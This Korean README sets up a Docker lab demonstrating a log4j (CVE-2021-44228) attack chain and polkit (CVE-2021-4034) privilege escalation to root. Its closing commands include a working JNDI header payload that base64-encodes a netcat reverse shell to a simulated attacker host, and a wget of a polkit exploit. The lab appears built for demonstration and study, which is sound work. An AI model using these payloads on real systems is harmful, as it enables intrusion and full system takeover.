
취약한 환경으로, log4j CVE-2021-44228의 공격 체인을 시연하고 polkit 익스플로잇 CVE-2021-4034를 사용하여 root로 권한 상승하는 설정입니다.
log4j 아파치 익스플로잇 및 polkit을 이용한 권한 상승을 위한 취약 인스턴스
아래 단계를 완료하면 취약 인스턴스가 실행되어 호스트 머신에 노출된 포트 80에서 연결을 수신합니다. log4j 익스플로잇의 취약 부분은 서버로 전송되는 X-Api-Version 헤더입니다.
Docker: log4j-polkit-vulnerable-server
취약 docker 이미지를 pull 및 실행하는 단계:
docker pull 0xalwayslucky/log4j-polkit-vulnerable-server
docker run -p 80:8080 0xalwayslucky/log4j-polkit-vulnerable-server
log4j + polkit 취약 인스턴스를 수동으로 생성하는 단계:
참고: Dockerfile은 ubuntu 저장소에 특정 버전의 취약 애플리케이션이 존재해야 합니다. 이러한 버전이 업데이트되거나 제거되면 docker 이미지 빌드가 실패할 수 있습니다. 이를 해결하기 위해 이미지가 docker hub에 업로드되어 여기에 링크될 예정입니다.
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/log4j-polkit-vuln
docker build -t log4j-polkit-vulnerable-server .
docker run -p 80:8080 --hostname victim log4j-polkit-vulnerable-server
이것은 공격자의 머신을 시뮬레이션합니다. 이 경우 (docker 컨테이너 간의 쉬운 통신을 위해) 동일한 네트워크 내에 존재하지만, 익스플로잇은 이 공격 서버가 어디에 있든 작동합니다 (유일한 조건은 피해자가 접근할 수 있어야 한다는 것입니다). 악성 JNDI 서버가 여기에서 호스팅되며 피해자 머신에서 임의의 명령을 실행하는 악성 클래스를 생성합니다.
시뮬레이션된 공격자 머신을 생성하는 단계:
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/attackserver
docker build -t attackserver .
docker run -it --hostname attackserver attackserver /bin/bash
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ip> -p 8888 & # docker 컨테이너 내에서
poc-비디오의 명령어
참고: attackserver의 IP 주소는 다를 수 있습니다.
# Log4j 익스플로잇
curl http://localhost -H 'X-Api-Version: ${jndi:ldap://172.17.0.3:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMyA0NDQ0IC1lIC9iaW4vYmFzaA==}'
# Polkit 익스플로잇
wget https://raw.githubusercontent.com/afwu/CVE-2021-4035/main/cve-2021-4034-poc.c